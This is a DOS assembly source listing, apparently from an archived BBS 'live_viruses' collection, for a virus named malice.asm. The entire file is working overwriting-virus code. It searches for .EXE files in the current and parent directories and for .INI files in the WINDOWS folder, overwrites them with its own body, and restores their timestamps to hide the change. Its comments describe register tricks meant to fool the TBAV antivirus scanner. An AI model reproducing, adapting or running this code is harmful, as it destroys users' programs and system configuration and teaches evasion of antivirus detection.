home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / malice.asm < prev    next >
Assembly Source File  |  1994-09-06  |  9KB  |  167 lines

  1. .model tiny           
  2. .radix 16                                 ; lets use hex
  3. .code        
  4.  
  5.            Org     100h                   ; This makes it *.COM
  6.  
  7. start:     Mov     Si,Si
  8.            Mov     Ax, offset filemask1   ; This does nothing for the virus
  9.            Rol     Ax,1                   ; but fools the heck out of Tbav
  10.            Lea     Dx, [filemask1]        ; Point Dx To FileMask
  11.            Mov     Ah, 4Eh                ; Find First Match
  12. Getbad1:   Int     21h                    ; Let Dos Do It
  13.            Jb      start2                 ; If No Matches Get Out
  14.            Mov     Dl, 9Eh                ; Found One, Point To The FileName
  15.            Mov     Dh, 00h
  16.            Mov     Cl, 7Ah                ; This loads 7a04 into ax
  17.            Xchg    Ah, Cl                 ; shr makes 7a04 into 3d02
  18.            Mov     Al, 04h                ; '   '
  19.            Shr     Ax,1                   ; Open The File Up
  20.            Int     21h                    ; Let Dos Do It
  21.            Xchg    Bx, Ax                 ; Put File Handle In Bx
  22.            Mov     Ah,3f                  ; Read file
  23.            Mov     Cx,4                   ; Read 4 bytes
  24.            lea     dx,[return_bytes]      ; Load the offset dx
  25.            int     21                  
  26.            lea     di,[return_bytes]      ; Load the offset of
  27.                                           ; the fourth byte
  28.                                           ; we just read into
  29.                                           ; the virus
  30.            cmp     byte ptr ds:[di],8bh   ; 
  31.            je      nxtmatch1              ; If so assume infected,
  32.                                           ; close file, and run
  33.                                           ; infection cycle again
  34.            Mov     Ax,4202                ; Check file size
  35.            Xor     Cx,Cx                  ; clear these registers
  36.            Xor     dx,dx                  ; ''      ''
  37.            Int     21                     ; Dos finds the end of the file
  38.            cmp     Ax,1710                ; Returns the value in Ax 
  39.            jb      nxtmatch1              ; if smaller that 6000 jump to next
  40.            Xor     Cx,Cx                  ; We have to move the file pointer
  41.            Xor     dx,dx                  ; back to the start of the victum
  42.            Mov     Ax,4200
  43.            Int     21
  44.            Mov     Al,0                   ; Get and push the date 
  45.            Mov     Ah,0aeh                ; '  '
  46.            Ror     Ah,1                   ; '  '
  47.            Int     21h                    ; '  '
  48.            Push    Cx                     ; '  '
  49.            Push    dx                     ; '  '
  50.            Xor     Dl,Dl                  ; gotta keep those register straight
  51.            Mov     dx, 0200h              ; Start Writing At 0100h
  52.            dec     Dh                     ; trying to be a little trickey
  53.            Mov     Cx, 0FFFh              ; Write the virus
  54.            Mov     Ah, 40h                ; Write File
  55.            Int     21h                    ; Let Dos Do It
  56.            Mov     Al,1                   ; pop and set the date time
  57.            Mov     Ah,0aeh                ; '  '
  58.            Ror     Ah,1                   ;
  59.            Pop     dx                     ; '  '
  60.            Pop     Cx                     ; '  '
  61.            Int     21h                    ; '  '
  62.            Mov     Ah, 3Eh                ; Close File
  63.            Int     21h                    ; Let Dos do it
  64.            Xor     Cx,Cx                  ; Clear these two before going 
  65.            Xor     Ax,Ax                  ; any further
  66.            ;jmp     nxtmatch2
  67. NxtMatch1: Mov     Ah, 3Eh                ; Close File
  68.            Int     21h                    ; Let Dos do it
  69.            Mov     Ah, 4Fh                ; Find Next Match
  70.            jmp     Getbad1                ; Call To Start the overwrite
  71.            
  72. start2:    push    cs                     ; This part of the code performs 
  73.            pop     ds                     ; the simple method of directory
  74.            Mov     dx, offset Path_name1  ; changes cd..
  75.            Mov     Ah,3bh
  76.            int     21                     ; Dos helps us
  77.            nop
  78.            nop
  79.            jc      start3                 ; If we can't change exit
  80.            nop
  81.            nop
  82.            jmp     start
  83.  
  84. start3:    push    cs                     ; This part of the code performs 
  85.            pop     ds                     ; the simple method of directory
  86.            Mov     dx, offset Path_name   ; changes to windows
  87.            Mov     Ah,3bh
  88.            int     21                     ; Dos helps us
  89.            jc      error                  ; If we can't change exit
  90.            Mov     Si,Si
  91.            Mov     Ax, offset filemask2   ; This does nothing for the virus
  92.            Rol     Ax,1                   ; but fools the heck out of Tbav
  93.            Lea     Dx, [filemask2]        ; Point Dx To FileMask
  94.            Mov     Ah, 4Eh                ; Find First Match
  95. Getbad2:   Int     21h                    ; Let Dos Do It
  96.            Jb      Outahere2              ; If No Matches Get Out
  97.            Mov     Dl, 9Eh                ; Found One, Point To The FileName
  98.            Mov     Dh, 00h
  99.            Mov     Cl, 7Ah                ; This loads 7a04 into ax
  100.            Xchg    Ah, Cl                 ; shr makes 7a04 into 3d02
  101.            Mov     Al, 04h                ; '   '
  102.            Shr     Ax,1                   ; Open The File Up
  103.            Int     21h                    ; Let Dos Do It
  104.            Xchg    Bx, Ax                 ; Put File Handle In Bx
  105.            Mov     Ah,3f                  ; Read file
  106.            Mov     Cx,4                   ; Read 4 bytes
  107.            lea     dx,[return_bytes]      ; Load the offset dx
  108.            int     21                  
  109.            lea     di,[return_bytes]      ; Load the offset of
  110.                                           ; the fourth byte
  111.                                           ; we just read into
  112.                                           ; the virus
  113.            cmp     byte ptr ds:[di],8bh   ; 
  114.            je      nxtmatch2              ; If so assume infected,
  115.                                           ; close file, and run
  116.                                           ; infection cycle again
  117.                                      
  118.            Mov     Ax,4202                ; Check file size
  119.            Xor     Cx,Cx                  ; Clear these registers
  120.            Xor     dx,dx                  ; ''      ''
  121.            Int     21                     ; Dos finds the end of the file
  122.            cmp     Ax,0009h               ; Returns the value in Ax 
  123.            jb      nxtmatch2              ; if smaller that 6000 jump to next
  124.            Xor     Cx,Cx                  ; We have to move the file pointer
  125.            Xor     dx,dx                  ; back to the start of the victum
  126.            Mov     Ax,4200
  127.            Int     21
  128.            
  129.            Mov     Al,0                   ; Get and push the date 
  130.            Mov     Ah,0aeh                ; '  '
  131.            Ror     Ah,1                   ; '  '
  132.            Int     21h                    ; '  '
  133.            Push    Cx                     ; '  '
  134.            Push    dx                     ; '  '
  135.            Xor     Dl,Dl                  ; gotta keep those register straight
  136.            Mov     dx, 0200h              ; Start Writing At 0100h
  137.            dec     Dh                     ; trying to be a little trickey
  138.            Mov     Cx, 3000h              ; Write the virus
  139.            Mov     Ah, 40h                ; Write File
  140.            Int     21h                    ; Let Dos Do It
  141.            Mov     Al,1                   ; pop and set the date time
  142.            Mov     Ah,0aeh                ; '  '
  143.            Ror     Ah,1                   ;
  144.            Pop     dx                     ; '  '
  145.            Pop     Cx                     ; '  '
  146.            Int     21h                    ; '  '
  147.            Mov     Ah, 3Eh                ; Close File
  148.            Int     21h                    ; Let Dos do it
  149.            Xor     Cx,Cx                  ; Clear these two before going 
  150.            Xor     Ax,Ax                  ; any further
  151.            jmp     nxtmatch2  
  152. NxtMatch2: Mov     Ah, 3Eh                ; Close File
  153.            Int     21h                    ; Let Dos do it
  154.            Mov     Ah, 4Fh                ; Find Next Match
  155.            jmp     Getbad2                ; Call To Start the overwrite
  156. outahere2: ret                          
  157. error:    ret                           
  158. Filemask1: db      '*.EXE',0  
  159. Filemask2: db      '*.INI',0
  160. Path_name: db      '\WINDOWS',0
  161. path_name1: db      '..',0
  162. return_bytes:      dw   ?  
  163.         End   start
  164.         End   code
  165.              
  166.               
  167.